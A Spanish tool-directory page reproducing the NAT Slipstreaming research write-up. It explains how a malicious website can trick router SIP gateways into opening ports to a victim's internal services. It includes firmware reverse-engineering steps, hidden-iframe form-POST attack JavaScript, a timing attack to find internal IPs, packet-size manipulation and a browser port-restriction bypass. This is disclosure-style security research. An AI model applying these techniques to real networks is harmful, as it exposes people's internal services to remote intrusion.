Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
slipstream — NAT Slipstreaming permite a un atacante acceder de forma remota a cualquier servicio TCP/UDP vinculado a una máquina víctima, evadiendo el NAT/cortafuegos de la víctima, simplemente con que alguien en la red de la víctima visite un sitio web | Kitploit
Herramientas/GitHubGitHub/samyk/slipstream
ReconocimientoExplotaciónSeguridad WebSeguridad de RedesPruebas de Penetración
GitHubsamyk/slipstream

slipstream

NAT Slipstreaming permite a un atacante acceder de forma remota a cualquier servicio TCP/UDP vinculado a una máquina víctima, evadiendo el NAT/cortafuegos de la víctima, simplemente con que alguien en la red de la víctima visite un sitio web

Ver Repositorio
2.0k2147hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

NAT Slipstreaming

NAT Slipstreaming permite a un atacante acceder remotamente a cualquier servicio TCP/UDP vinculado a cualquier sistema detrás del NAT de la víctima, evitando el NAT/cortafuegos de la víctima (control remoto arbitrario de agujeros en el cortafuegos), simplemente con que la víctima visite un sitio web.

v1 desarrollado por: @SamyKamkar // https://samy.pl
v2 desarrollado por: Samy Kamkar && (Ben Seri && Gregory Vishnipolsky of Armis).

Lea el excelente artículo técnico de Ben y Gregory sobre v2 aquí que profundiza en sus actualizaciones de v2 con muchos detalles adicionales.

v1 lanzado: 31 de octubre 👻, 2020
v2 lanzado: 26 de enero, 2021

Source code: https://github.com/samyk/slipstream

arquitectura de NAT Slipstreaming versión animada aquí generada con mi fork de draw.io, permitiendo flujo de contexto de borde exportable y control en animaciones

Table of Contents

  • Resumen
  • Los detalles
    • Traducción de Direcciones de Red (NAT)
      • Seguimiento de Conexiones
      • Pasarela a Nivel de Aplicación
    • Investigación del Router / Volcado de Firmware
    • Ingeniería Inversa del Firmware
      • Encontrando Archivos Interesantes
      • Explorando funciones interesantes
      • Puertos / Servicios a investigar
      • Reversing del Objeto del Kernel
    • Seguimiento de Conexiones / Investigación de Pasarela a Nivel de Aplicación
      • Linux Netfilter
    • Control de Límites de Paquetes / Fragmentación
    • Ataque de Tiempo TCP / Descubrimiento de Subred Interna & IP
      • Ataque de Tiempo
    • Confusión de Protocolos del Navegador
      • Alteración de Paquetes en Vivo del Navegador
  • Otros Hallazgos
  • Descarga
  • Contacto

Resumen

NAT Slipstreaming explota el navegador del usuario en conjunto con el mecanismo de seguimiento de conexiones de la Pasarela a Nivel de Aplicación (ALG) incorporado en NATs, routers y cortafuegos, encadenando extracción de IP interna mediante ataque de tiempo o WebRTC, descubrimiento remoto automatizado de MTU y fragmentación IP, manipulación del tamaño de paquetes TCP, uso indebido de autenticación TURN, control preciso de límites de paquetes y confusión de protocolos mediante abuso del navegador. Como es el NAT o cortafuegos quien abre el puerto de destino, esto evita cualquier restricción de puertos basada en el navegador.

Este ataque aprovecha el control arbitrario de la porción de datos de algunos paquetes TCP y UDP sin incluir cabeceras HTTP u otras; el ataque realiza esta nueva técnica de inyección de paquetes en todos los principales navegadores modernos (y antiguos), y es una versión modernizada de mi técnica original NAT Pinning de 2010 (presentada en DEFCON 18 + Black Hat 2010). Además, se incluyen nuevas técnicas para el descubrimiento de direcciones IP locales.

Este ataque requiere que el NAT/cortafuegos soporte ALG (Pasarelas a Nivel de Aplicación), que son obligatorias para protocolos que pueden usar múltiples puertos (canal de control + canal de datos) como SIP y H323 (protocolos VoIP), FTP, IRC DCC, etc.

A alto nivel, NAT Slipstreaming funciona así:

  • la víctima visita un sitio malicioso (o un sitio con anuncio malicioso)
  • la IP interna de la víctima primero debe ser extraída por el navegador y enviada al servidor
    • se intenta extraer la IP interna mediante el canal de datos WebRTC sobre https
      • algunos navegadores (Chrome) solo revelan la IP local mediante WebRTC sobre HTTPS, pero algunos de nuestros ataques requieren HTTP, por lo que primero redirigimos a la versión HTTPS del software de ataque para extraer la IP local
      • luego redirigimos a la versión HTTP con la IP local incluida en la URL si pudimos obtenerla para evitar otros mecanismos de protección de origen cruzado (la dirección .local mDNS/Bonjour presentada no será útil para el ataque)
    • si la IP interna no es revelada por WebRTC (Safari) o no hay WebRTC (<= IE11), se realiza un ataque de tiempo TCP basado en web
      • se cargan en segundo plano etiquetas img ocultas hacia todas las puertas de enlace comunes (por ejemplo, 192.168.0.1)
      • eventos onerror/onsuccess adjuntos a las etiquetas img
      • si cualquier TCP RST es devuelto por la puerta de enlace (o SYN + respuesta HTTP), hemos detectado una subred válida
      • se repite el ataque de tiempo en todas las IPs de las subredes detectadas (/24), midiendo el tiempo hasta la activación de onerror/onsuccess
      • la respuesta más rápida probablemente sea la IP interna, aunque todas las respuestas se consideran candidatas a IP interna de la víctima y son atacadas
  • se envía una baliza TCP grande mediante un formulario oculto y POST HTTP automático al "servidor HTTP" del atacante vinculado a un puerto no estándar para forzar la segmentación TCP y el descubrimiento del tamaño máximo de MTU de la pila IP de la víctima
    • el servidor TCP del atacante envía la opción TCP de Tamaño Máximo de Segmento para manipular los tamaños de los paquetes salientes de la víctima (), permitiendo controlar qué tan grandes serán los paquetes TCP del navegador

paquete exitoso dividido en paquete SIP válido

Los Detalles

Traducción de Direcciones de Red (NAT)

Usamos NATs (Traducción de Direcciones de Red) por varias razones. La característica más útil del NAT es que permite compartir una única dirección IP pública entre múltiples sistemas. Lo hace creando una red local, proporcionando direcciones IP locales a todas las máquinas que se conectan, y cuando uno de esos sistemas accede a Internet, reescribe los paquetes salientes para usar la IP pública, de modo que las respuestas vuelvan al NAT, y viceversa, reescribiendo la IP de destino a la IP del cliente específico.

Es responsabilidad del NAT diferenciar las conexiones a las mismas direcciones/puertos (google.com:443) desde hosts internos, ya que en última instancia su puerto de salida, IP de destino e IP de origen serán todos iguales. Si dos pares internos diferentes intentan conectarse desde el mismo puerto de origen, los NATs modernos alterarán uno de los puertos de origen (algunas redes hacen esto con todos los puertos de origen TCP/UDP).

NAT

Seguimiento de Conexiones

De Wikipedia vía Wikiwand:``` One of the important features built on top of the Netfilter framework is connection tracking. Connection tracking allows the kernel to keep track of all logical network connections or sessions, and thereby relate all of the packets which may make up that connection. NAT relies on this information to translate all related packets in the same way, and iptables can use this information to act as a stateful firewall.

root@kitploit:~
Si una máquina detrás de tu NAT envía un paquete saliente y tu router espera que el host remoto pueda responder, guarda información, específicamente los puertos de origen y destino, las direcciones IP de origen y destino, y tu IP interna, luego devuelve cualquier paquete que coincida de vuelta a tu IP interna.

Si otro host en tu LAN intenta hacer la misma conexión con los mismos puertos de origen y destino + IPs, tu NAT no podría diferenciarla (las IPs de origen son diferentes en tu LAN pero se reescriben a la misma IP pública en el lado WAN), por lo que altera el puerto de origen, pero lo reescribe al enviarlo de vuelta a ti.

### Gateway a Nivel de Aplicación

Los ALG permiten que la NAT rastree un protocolo multipuerto como FTP para que salga de tu sistema hacia un servidor FTP, y luego, cuando solicitas que se envíe un archivo a tu IP interna en un puerto específico, el ALG puede reescribir el paquete para incluir tu IP pública y luego reenviar la conexión del servidor FTP de vuelta a ti. Si no hubiera reescrito tu IP, el servidor FTP intentaría conectarse de vuelta a ti en tu IP interna (o ni siquiera lo intentaría si espera que la IP de origen sea la misma que la de la conexión de señalización).

De [Wikipedia](https://www.wikiwand.com/en/Application-level_gateway):```
In the context of computer networking, an application-level 
gateway consists of a security component that augments a 
firewall or NAT employed in a computer network. It allows 
customized NAT traversal filters to be plugged into the 
gateway to support address and port translation for certain 
application layer "control/data" protocols such as FTP, 
BitTorrent, SIP, RTSP, file transfer in IM applications, etc. 
In order for these protocols to work through NAT or a 
firewall, either the application has to know about an address/
port number combination that allows incoming packets, or the 
NAT has to monitor the control traffic and open up port 
mappings (firewall pinhole) dynamically as required. 
Legitimate application data can thus be passed through the 
security checks of the firewall or NAT that would have 
otherwise restricted the traffic for not meeting its limited 
filter criteria.

Investigación de Router / Extracción de Firmware

Primero me gustaría ver cómo las puertas de enlace comunes tratan realmente los paquetes y los protocolos multipuerto como FTP, SIP, etc. Para ello, querremos realizar ingeniería inversa del firmware de routers comunes. Podríamos extraer la memoria flash de routers físicos, sin embargo, si podemos obtener firmware sin cifrar de los fabricantes, podremos investigar más modelos de routers y mucho más rápido.

Comenzaremos con un router común, el Netgear Nighthawk R7000. Una búsqueda rápida nos ayuda a encontrar un artículo de Netgear con firmware reciente. Una vez que descargamos el firmware y lo descomprimimos, encontramos un archivo de 30 MB llamado R7000-V1.0.9.64_10.2.64.chk.```sh tigerblood:~c/ng$ wget http://www.downloads.netgear.com/files/GDC/R7000/R7000-V1.0.9.64_10.2.64.zip --2019-05-19 19:21:13-- http://www.downloads.netgear.com/files/GDC/R7000/R7000-V1.0.9.64_10.2.64.zip Resolving www.downloads.netgear.com (www.downloads.netgear.com)... 104.69.65.243 Connecting to www.downloads.netgear.com (www.downloads.netgear.com)|104.69.65.243|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 31705064 (30M) [application/zip] Saving to: ‘R7000-V1.0.9.64_10.2.64.zip’

R7000-V1.0.9.64_10.2.64.zip 100%[=============================================>] 30.24M 6.25MB/s in 11s

2019-05-19 19:21:24 (2.83 MB/s) - ‘R7000-V1.0.9.64_10.2.64.zip’ saved [31705064/31705064]

tigerblood:~c/ng$ unzip R7000-V1.0.9.64_10.2.64.zip Archive: R7000-V1.0.9.64_10.2.64.zip extracting: R7000-V1.0.9.64_10.2.64.chk inflating: R7000-V1.0.9.64_10.2.64_Release_Notes.html tigerblood:~c/ng$ file R7000-V1.0.9.64_10.2.64.chk R7000-V1.0.9.64_10.2.64.chk: data tigerblood:~c/ng$ ls -lh R7000-V1.0.9.64_10.2.64.chk -rw-r--r-- 1 samy staff 30M Mar 26 11:46 R7000-V1.0.9.64_10.2.64.chk

root@kitploit:~
![R7000-V1.0.9.64_10.2.64.chk](https://assets.kitploit.com/production/public/readmes/3946/ff37a83fee71d670f7d0298b6c22182a4e55d0e3ec949d82256b532820438723.png)

El comando `file` no detecta ninguna [información mágica](https://www.wikiwand.com/en/Magic_number_(programming)), por lo que podemos usar [`binwalk`](https://github.com/ReFirmLabs/binwalk) para escanear el archivo en busca de datos anidados.```sh
tigerblood:~c/ng$ binwalk R7000-V1.0.9.64_10.2.64.chk

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
58            0x3A            TRX firmware header, little endian, image size: 31703040 bytes, CRC32: 0xBEF1BB2F, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21E3F0, rootfs offset: 0x0
86            0x56            LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5436416 bytes
2221098       0x21E42A        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 29475437 bytes, 1988 inodes, blocksize: 131072 bytes, created: 2018-12-26 04:15:38

binwalk R7000-V1.0.9.64_10.2.64.chk

Uso macOS y binwalk depende de algunas aplicaciones de Linux de fábrica, lo que causaría que binwalk -e (que extrae archivos) falle, por lo que extraigo manualmente (y yo <3 perl golf).```sh tigerblood:~c/ng$ perl -ne'$@.=$_}{print+substr$@,2221098' R7000-V1.0.9.64_10.2.64.chk > squash.fs

root@kitploit:~
O usa [`inout`](https://github.com/samyk/samytools/blob/master/inout), por ejemplo `inout R7000-V1.0.9.64_10.2.64.chk 2221098`.

Podrías usar `dd`, sin embargo querrías un `bs` (tamaño de bloque) grande para que produzca la salida rápidamente, por ejemplo 1024, sin embargo el atributo `skip` (para indicarle que comience en la ubicación del blob squashfs) respetaría el tamaño de bloque y 2221098 no es obviamente divisible por nada rápidamente en mi cabeza excepto 2... ahora tengo curiosidad.```sh
tigerblood:~c/ng$ time dd if=R7000-V1.0.9.64_10.2.64.chk skip=$((2221098/2)) bs=2 of=squash.fs2
14741000+0 records in
14741000+0 records out
29482000 bytes transferred in 78.363403 secs (376222 bytes/sec)

real	1m18.385s
user	0m12.553s
sys  	1m4.451s

Ahora desempaquemos el sistema de archivos squash. He creado un fork de un fork de squashfs-tools que funciona en macOS y tiene soporte para lzo. También puede que necesites instalar xz y lzo. Alternativamente, podrías usar sasquatch en Linux.```sh tigerblood:~c/ng$ sudo port install xz lzo ... tigerblood:~c/ng$ git clone https://github.com/samyk/squashfs-tools && cd squashfs-tools/squashfs-tools && make && sudo make install && cd ../..

root@kitploit:~
Y finalmente podemos desempaquetar el squash fs.```sh
tigerblood:~c/ng$ unsquashfs -l -no squash.fs
Parallel unsquashfs: Using 8 processors
1881 inodes (2535 blocks) to write

squashfs-root
squashfs-root/bin
squashfs-root/bin/addgroup
... (many more files) ...

tigerblood:~c/ng$ cd squashfs-root && ls
bin   data  dev   etc   lib   media mnt   opt   proc  sbin  share sys   tmp   usr   var   www

Ahora tenemos el sistema operativo sin procesar para explorar.

Ingeniería Inversa del Firmware

Encontrar Archivos Interesantes

Ahora veamos si podemos encontrar algún archivo relevante para FTP, ya que era un protocolo muy utilizado, por lo que el soporte ALG será rampante en los routers. Utilizo mi g tool, que es simplemente un envoltorio conveniente alrededor de egrep.```sh tigerblood:~c/ng/squashfs-root$ find . | g ftp ./usr/bin/tftp ./usr/sbin/bftpd ./usr/sbin/ftp ./usr/sbin/ftpc ./usr/etc/sftp-ssh.service

root@kitploit:~
Nada interesante, así que busquemos con `g` archivos binarios cuyo contenido coincida con /ftp/, ignorando algunos archivos que no nos importan.```sh
tigerblood:~c/ng/squashfs-root$ g -la ftp -v '\.(html?|js|gif)$|www/|bin/'
lib/libsmbd-base-samba4.so
lib/libavformat.so.55
lib/libavutil.so.52
lib/libavcodec.so.55
lib/modules/tdts.ko
lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko
lib/libcrypto.so.1.0.0
opt/xagent/certs/ca-bundle-mega.crt
usr/etc/sftp-ssh.service
usr/lib/libnvram.so
usr/lib/libcurl.a
usr/lib/libcurl.so.4.3.0
usr/lib/libcurl.so
usr/share/avahi/service-types
usr/share/libcrypto.so.1.0.0

g escanea recursivamente el directorio de trabajo actual por defecto. -l es para imprimir solo los nombres de archivo (ya que estos serán mayormente binarios), -a para escanear archivos binarios, ftp para el texto a coincidir, y -v '\.(html?|js|gif)$|www/|bin/' para ignorar archivos web y ejecutables (ubicados en (s)bin/).

Cualquier archivo lib/lib*.{a,so}{.*,} (formato bash) no es interesante, así que escaneemos de nuevo con less:```sh tigerblood:~c/ng/squashfs-root$ g -la ftp -v '.(html?|js|gif)$|www/|bin/|lib.*.(so|a)(.|$)' lib/modules/tdts.ko lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko opt/xagent/certs/ca-bundle-mega.crt usr/etc/sftp-ssh.service usr/share/avahi/service-types

root@kitploit:~
### Explorando funciones potencialmente útiles

Bien, dos archivos de interés -- `lib/modules/tdts.ko` podría estar relacionado, y `lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko` probablemente no está relacionado pero suena interesante. ¡Quizás investigue eso más tarde.```sh
tigerblood:~c/ng/squashfs-root$ file lib/modules/tdts.ko
lib/modules/tdts.ko: ELF 32-bit LSB relocatable, ARM, EABI5 version 1 (SYSV), BuildID[sha1]=0aa35748e245e60273ceb5a48641e424d069235b, not stripped
tigerblood:~c/ng/squashfs-root$ strings lib/modules/tdts.ko | g ftp
ftp_decoder_open
ftp_decoder_close
ftp_decode_epsv_resp
ftp_decode_eprt_cmd
ftp_decode_pasv_resp
ftp_decode
ftp_decode_port_cmd
ftp_decoder
check_ftp_ft_rule

¡Genial! Un objeto del kernel (.ko) con funciones ftp, y con palabras como "port", probablemente esté relacionado con un ALG de FTP. El FTP RFC 959 explica el significado del comando PORT:``` DATA PORT (PORT)

The argument is a HOST-PORT specification for the data port to be used in data connection. There are defaults for both the user and server data ports, and under normal circumstances this command and its reply are not needed. If this command is used, the argument is the concatenation of a 32-bit internet host address and a 16-bit TCP port address. This address information is broken into 8-bit fields and the value of each field is transmitted as a decimal number (in character string representation). The fields are separated by commas. A port command would be: PORT h1,h2,h3,h4,p1,p2 where h1 is the high order 8 bits of the internet host address.

root@kitploit:~
### Puertos / Servicios a Investigar

Si bien hemos encontrado algunas funciones FTP, estamos más interesados en puertos que podamos usar. Los navegadores modernos impiden las conexiones HTTP(S) salientes a varios [puertos restringidos](https://github.com/samyk/chromium/blob/2d57e5b8afc6d01b344a8d95d3470d46b35845c5/net/base/port_util.cc#L20-L90), incluyendo FTP, por lo que abusar del ALG FTP probablemente no sea viable.

En 2010, cuando [demostré por primera vez NAT Pinning](https://samy.pl/natpin/), usé el puerto 6667 (IRC) mediante los mensajes DCC CHAT/FILE. Rápidamente, los fabricantes de navegadores bloquearon el puerto 6667... aunque algunos usaban un uint32 (entero sin signo de 32 bits) para almacenar el puerto, verificar si el puerto estaba bloqueado y, si no, conectar. Para evadir esto, es importante notar que los puertos TCP son de 16 bits, por lo que si se suma 2**16 (65536) al puerto "restringido" elegido, en este caso 65536+6667=72203, el navegador almacenaría 72203, pasaría la restricción de puerto (72203 != 6667), luego se enviaría a la pila TCP donde se truncaría a 16 bits, ¡que es el puerto restringido que queríamos!

Mi simple [`calculadora base, 3`](https://github.com/samyk/samytools/blob/master/3) muestra esto (db = dec -> bin):```sh
tigerblood:/Users/samy/d$ 3 db 65536 6667 65536+6667
000000010000000000000000
000000000001101000001011
000000010001101000001011

Podemos verlo mejor usando mi herramienta diffbits, una herramienta simple para ver similitudes y diferencias entre cadenas de bits, así como entre múltiples grupos de cadenas de bits, útil para realizar ingeniería inversa de protocolos binarios propietarios.

diffbits

Realizando ingeniería inversa del Objeto del Kernel

Adelante, abre tu desensamblador de preferencia. Yo he usado Ghidra de nuestros amigos en la NSA ya que es gratuito y de código abierto.

Algunas de las funciones que vimos en tdts.ko mediante strings fueron ftp_decode y ftp_decoder, por lo que es posible que otros ALGs tengan una función _decode. Echemos un vistazo...

Ghidra _decode

Bien, un montón de funciones _decode... desplazándonos hacia abajo, una interesante es sip_decode.

Ghidra tdts.ko

Revisando nuestros puertos restringidos del navegador, vemos que el puerto 5060, el puerto SIP por defecto, no está restringido en Chrome :)

Intentando un Paquete SIP en HTTP POST

SIP reside en TCP/UDP 5060, pero los medios como RTP (audio) se envían en puertos alternativos que se generan sobre la marcha. Al enviar una solicitud para una llamada SIP, tu cliente SIP elige un puerto aleatorio, lo abre y lo incluye en la cabecera SIP. Tu NAT también debería verlo y abrirlo, asumiendo que el ALG SIP está habilitado (y está en la mayoría de los routers por defecto).

Asumiendo que los NAT leen los paquetes SIP línea por línea (SIP está basado en saltos de línea como HTTP y no es un protocolo binario), tal vez ignore la cabecera HTTP y una vez que llegue a los datos POST, lea el REGISTER y crea que es un paquete SIP. Esto funcionó en nuestra versión de 2010 para el IRC DCC. El NAT ignoró la cabecera HTTP y simplemente analizó el comando IRC DCC.

Lo curioso es que esto también nos permitió hacer que los usuarios que visitaban nuestro sitio se conectaran a un servidor IRC legítimo, se unieran a un canal y enviaran un mensaje desde su IP sin que ellos lo supieran! :P Demostré esta técnica para enviar correos electrónicos a servidores de correo con direcciones IP de clientes antes de que el puerto 25 fuera bloqueado por los navegadores y antes de que los registros SPF fueran comunes... una locura.

Ahora, en una prueba rápida, enviar un paquete SIP REGISTER a través del puerto 5060 mediante un HTTP POST no parece funcionar... quizás nos falta algo del paquete.```javascript // our sip message var sipmsg = 'REGISTER sip:samy.pl;transport=TCP SIP/2.0\r\n' + 'Contact: sip:[email protected]:1234;transport=TCP\r\n\r\n'

// load form in an iframe so user doesn't see it var iframe = document.createElement('iframe') iframe.name = 'iframe' iframe.style.display = 'none' // hide the iframe

// create form var form = document.createElement('form') form.setAttribute('target', 'iframe') // load into iframe form.setAttribute('method', 'POST') // need the POST area where we can add CRLFs form.setAttribute('action', 'http://samy.pl:5060') // "http" server on SIP port 5060 form.setAttribute('enctype', 'multipart/form-data') // ensure our data doesn't get encoded

var textarea = document.createElement('textarea') textarea.setAttribute('name', 'textname') // required textarea.innerHTML = sipmsg form.appendChild(textarea) document.body.appendChild(iframe) document.body.appendChild(form) form.submit()

root@kitploit:~
Si olfateamos, vemos (analizado mediante [`h2b`](https://github.com/samyk/samytools/blob/master/h2b)):```sh
$ unbuffer tcpdump -X port 5060 | h2b
POST / HTTP/1.1
Host: samy.pl:5060
Connection: keep-alive
Content-Length: 191
Cache-Control: max-age=0
Origin: http://samy.pl
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhcoAd2iSAx3TJA7A
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://samy.pl/o/sp.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

------WebKitFormBoundaryhcoAd2iSAx3TJA7A
Content-Disposition: form-data; name="textname"

REGISTER sip:samy.pl;transport=TCP SIP/2.0
Contact: <sip:[email protected]:1234;transport=TCP>


------WebKitFormBoundaryhcoAd2iSAx3TJA7A--

Sin embargo, esto no abre el puerto, ni se reescribe la IP como esperaríamos (más sobre esto más adelante), por lo que debemos estar perdiendo algo.

Continuar Reversando el Objeto del Kernel Más a Fondo

Sigamos indagando en el objeto del kernel. En el desensamblado, vemos la etiqueta "SIP/2.0" de un paquete SIP, por lo que probablemente se esté analizando aquí (lo que "decode" sugiere).

Ghidra sip_decode

Ah, por esto fallamos. Parece que está ejecutando strncasecmp en INVITE (análisis similar en REGISTER) — comparando (sin distinción de mayúsculas/minúsculas, lo cual es interesante ya que los SIP INVITE están en mayúsculas) la palabra "INVITE" al inicio del paquete y bifurca si no es igual (instrucción ARM bne) a 0, por lo que si las palabras coinciden, el orden lexicográfico será 0 y continuaremos a ct_sip_get_header que suena divertido, y parece que aborta en caso contrario.

Este es el problema... aunque podemos usar un navegador web para producir sockets salientes (TCP vía HTTP(S), UDP vía TURN con WebRTC), no tenemos suficiente control sobre el navegador para iniciar la porción de datos TCP con la palabra "INVITE", que es lo que espera este módulo. En la versión IRC de 2010, el ALG de IRC solo revisaba línea por línea, ignorando todos los datos del encabezado HTTP, y luego usaba saltos de línea en los datos POST para enviar un "IRC DCC" válido. Sin embargo, este ALG SIP es mucho más estricto y no es posible controlar el inicio de la solicitud. Si se usa TLS, el encabezado cifrado comenzará el paquete. Si se usa HTTP, el método HTTP comenzará el paquete (GET, POST, etc.). ¿Podemos explotar esto de alguna otra manera?

Investigación de Rastreo de Conexiones / Gateways a Nivel de Aplicación

Netfilter de Linux

Para entender mejor el rastreo de conexiones y los Gateways a Nivel de Aplicación, podemos observar cómo se comportan en netfilter, la pila de red de Linux. He creado un gráfico de los ALGs más comunes y cómo se comportan basado en el análisis del código fuente de Linux.

Linux ALG

De este gráfico, los más interesantes (que Chrome no bloquea) son sane (respaldo), sip (voip), pptp (vpn) y h323 (voip). Elegiremos SIP ya que es uno de los más ubicuos de estos protocolos, y ya lo vemos en el firmware de algunos routers.

Linux específicamente tiene archivos nf_conntrack_*.c para manejar el rastreo de conexiones por protocolo, y nf_nat_*.c para la manipulación (modificación) de paquetes.

Echemos un vistazo rápido al módulo de rastreo de conexiones SIP

  • module_init(nf_conntrack_sip_init) inicializa este rastreador de conexiones, llamando a nf_conntrack_sip_init
  • nf_ct_helper_init(...AF_INET, IPPROTO_TCP, "sip", SIP_PORT...) esperamos que la señalización llegue desde IPv4 AF_INET TCP IPPROTO_TCP puerto 5060 SIP_PORT... esto ocurre para UDP, TCP, IPv4 e IPv6
  • sip_help_tcp(...) se llama cuando llega un paquete TCP SIP coincidente
    • process_sip_msg(...) si parece un posible paquete SIP
      • si es una solicitud

Control de Límites de Paquetes

Hasta donde sabemos, no podemos hacer que el navegador fuerce una conexión TCP saliente con el tráfico que queramos, y es necesario que creemos un paquete TCP/UDP que comience con un método SIP como REGISTER o INVITE.

Flash solía permitir sockets salientes, pero en un formato sobre el que no teníamos control total. Java requiere permiso. WebSockets siguen siendo HTTP. TLS está cifrado. WebRTC (RFC 7742) está cifrado. STUN (RFC 3489) y TURN (RFC 5766) tienen formatos fijos, y TURNS (RFC 7065) está cifrado.

Segmentación TCP

A alto nivel, no podemos controlar el inicio del paquete TCP, pero ¿qué pasa si enviamos un paquete demasiado grande? Debe haber un tamaño máximo de paquete... en cuyo punto, un paquete debe fragmentarse en múltiples paquetes. Si podemos desbordar el tamaño del paquete TCP y controlar con precisión parte de los datos, ¿podríamos causar una segmentación del paquete y que nuestros datos estén al inicio de nuestro siguiente paquete desbordado?

Bueno, necesitaríamos saber cuántos datos enviará el navegador, lo cual variará según el navegador, e incluso por usuario, ya que pueden enviar diferentes encabezados HTTP. HTTPS no funcionará porque la mayor parte del contenido está cifrado, mientras que un HTTP POST nos permite controlar una gran parte del encabezado.

Para obtener el tamaño general del paquete, enviamos un HTTP POST grande (6000 bytes) con un ID y datos de relleno mediante un formulario web oculto a nuestro http://our.attack.server:5060/pktsize. En el servidor de ataque, ejecutamos un sniffer de paquetes que busca los límites de nuestro paquete para determinar el tamaño MTU (Unidad Máxima de Transmisión), el tamaño del encabezado IP, las posibles opciones IP, el tamaño del encabezado TCP, las posibles opciones TCP, el tamaño del paquete de datos y qué porción del paquete controlamos.

También ejecutamos un servidor personalizado que escucha en el puerto TCP 5060, y responde con tráfico HTTP para apaciguar al navegador y que nada parezca sospechoso en el lado del cliente (un servidor con una respuesta mal formada causaría errores en la consola, o un servidor que respondiera incorrectamente mantendría el indicador de carga activo).

POST de formulario grande para medir MTU y tamaño de datos TCP

Además, intentamos controlar el tamaño de los datos del paquete TCP enviando una opción TCP de Tamaño Máximo de Segmento (mss) durante la respuesta SYN inicial para manipular los tamaños de los paquetes salientes de la víctima (RFC 793 x3.1). Esto le indica a la máquina víctima que mantenga los paquetes TCP en un tamaño determinado.

Tamaño Máximo de Segmento personalizado (img/sniff1.png)

Puedes hacer esto en Linux agregando advmss <size> a ip route. Usaremos 1500.```sh ip route replace default via [gateway] dev eth0 advmss 1500

root@kitploit:~
Una vez que recibimos los paquetes, enviamos los datos de tamaño de vuelta al cliente víctima a través de un POST separado, que envió el ID de la víctima para que podamos correlacionarlo con la solicitud original de la víctima. En este punto, el cliente tiene una buena idea de cómo rellenar paquetes para causar que datos arbitrarios lleguen a una ubicación específica en un paquete TCP.

### Fragmentación IP con UDP y TURN

Algunos NAT solo permiten acceder a puertos UDP si la conexión SIP fue originalmente UDP, por lo que usamos TURN en este caso. TURN es un protocolo que soporta retransmisión para comunicación peer-to-peer como SIP y WebRTC. TURN es UDP mientras que TURNS (TURN+TLS) es TCP. Los navegadores modernos soportan TURN para WebRTC en caso de que no puedan establecer una conexión directa peer-to-peer entre sí para compartir medios.

TURN permite la autenticación mediante nombre de usuario y contraseña; el nombre de usuario se envía en texto claro. Curiosamente, el nombre de usuario no está limitado por tamaño ni caracteres, por lo que podemos usar esto para realizar el mismo tipo de desbordamiento de paquetes.

Dado que TURN es sobre UDP, el propio paquete IP se fragmentará si se desborda el tamaño MTU (UDP no soporta segmentación). ¡El segundo paquete tendrá no solo la porción de datos bajo nuestro control, sino también el encabezado UDP! Esto no es importante para nuestro ataque, pero es interesante y definitivamente puede producir ataques alternativos. En última instancia, podemos realizar el mismo ataque a través de UDP alineando nuestro límite de paquete basado en el tamaño MTU calculado en lugar del tamaño MSS, haciendo que nuestro paquete SIP UDP viva en el límite del segundo paquete (con un encabezado UDP falso antepuesto) permitiéndonos reenviar puertos UDP de vuelta a nuestra víctima.

## Ataque de Temporización TCP / Descubrimiento de Subred Interna y Dirección IP

¡Oh, esto todavía no funcionará! Para que el ALG lo trate como un paquete SIP legítimo, la dirección IP a la que solicitas que los datos regresen (en la línea SIP [`Contact`](https://tools.ietf.org/html/rfc2543#section-6.13)) debe ser la IP interna (víctima) de la que provino el paquete SIP, la cual desconocemos. Solo la dirección IP pública del router se transmite a nuestro servidor (ya que el NAT reescribe la IP fuente cuando sale por el lado público).

Vemos esta comprobación en el [process\_sip\_request](https://github.com/samyk/linux/blob/ea2cec24c8d429ee6f99040e4eb6c7ad627fe777/net/netfilter/nf_conntrack_sip.c#L1260) de `nf_conntrack_sip.c` de Linux:

![SIP REGISTER Via IP validation](https://assets.kitploit.com/production/public/readmes/3946/46b6a320ab0e8972a37c8e057cebb36d5fb32905ef2894ea6a06bfe508e7db59.png)

En [2010](https://samy.pl/natpin/), usamos [LiveConnect](https://developer.mozilla.org/en-US/docs/Archive/Web/LiveConnect) que permitía ejecutar código Java bajo ciertas condiciones desde Javascript, extrayendo la IP local del usuario. Eso se volvió obsoleto rápidamente.

En algunos navegadores (Chrome, Firefox), podemos usar [WebRTC](https://www.w3.org/TR/webrtc/) para obtener la dirección IP interna de la víctima a través de [ICE](https://tools.ietf.org/html/rfc5245) (que simplemente usan STUN/TURN/TURNS). Estos son protocolos para ayudar a pares detrás de NATs a determinar información sobre sí mismos. Irónicamente, no es necesario usar ningún servidor en la "solicitud" ICE, ya que el navegador ya conoce su IP interna, y un servidor STUN/TURN remoto no la sabría de todos modos a menos que el cliente la enviara en primer lugar. El problema es que no todos los navegadores proporcionan este mecanismo.

